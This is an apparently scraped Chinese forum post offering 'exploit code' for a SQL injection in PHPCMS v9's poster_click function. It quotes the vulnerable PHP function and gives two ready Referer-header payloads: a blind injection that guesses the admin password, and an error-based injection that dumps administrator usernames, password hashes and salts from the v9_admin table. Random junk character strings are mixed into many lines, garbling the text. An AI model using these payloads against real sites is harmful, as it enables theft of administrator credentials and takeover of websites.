phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

; U6 L& O! y' X4 q  d: W1 }问题函数\phpcms\modules\poster\index.php
3 ~2 s6 G& s$ T# C
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
3 t5 V2 I( W' a( ~$ _- o5 `1 _$ip = ip();
; I1 N& z1 n6 c& ^. c* C* W/ h, W  K$area = $ip_area->get($ip);
" T. r9 ~6 N9 D' `4 z  |+ S$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
1 B8 w& w9 n* X+ l$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
! }: Y3 I7 w( n" r2 B  `* v. @$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
. S8 n, p# L. M- u}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
9 M: h+ o# W7 W2 rif (count($setting)==1) {
, s7 A( Z% q: O* {* e2 B6 k9 d$url = $setting['1']['linkurl'];
& Y8 J/ O( j- y+ R3 b4 V: a} else {
" E7 ]: D5 p: \0 Y0 @$ l) Q6 r9 E! G' Y$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
* Z. Y( x4 E! q! i" E}
header('Location: '.$url);
}
1 ^. d7 M7 H- D
& t2 e+ ^2 w7 b
8 |, i3 o1 k1 a
利用方式：
  Z! U  o/ N- y1 Y
9 M% Y3 ?0 k8 [8 r. l1、可以采用盲注入的手法：
; o6 K. ?1 z& J( G) Z& K( t
. J% _# l* d0 hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
! O6 {  _/ }$ o, z0 w! R4 O2 ~
2、代码是花开写的，随手附上了：
  ]% b7 V7 p7 J- U8 V* E
+ M  H+ }* t8 X: {7 W1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
5 q6 }& U9 K! r  x
此方法是爆错注入手法，原理自查。
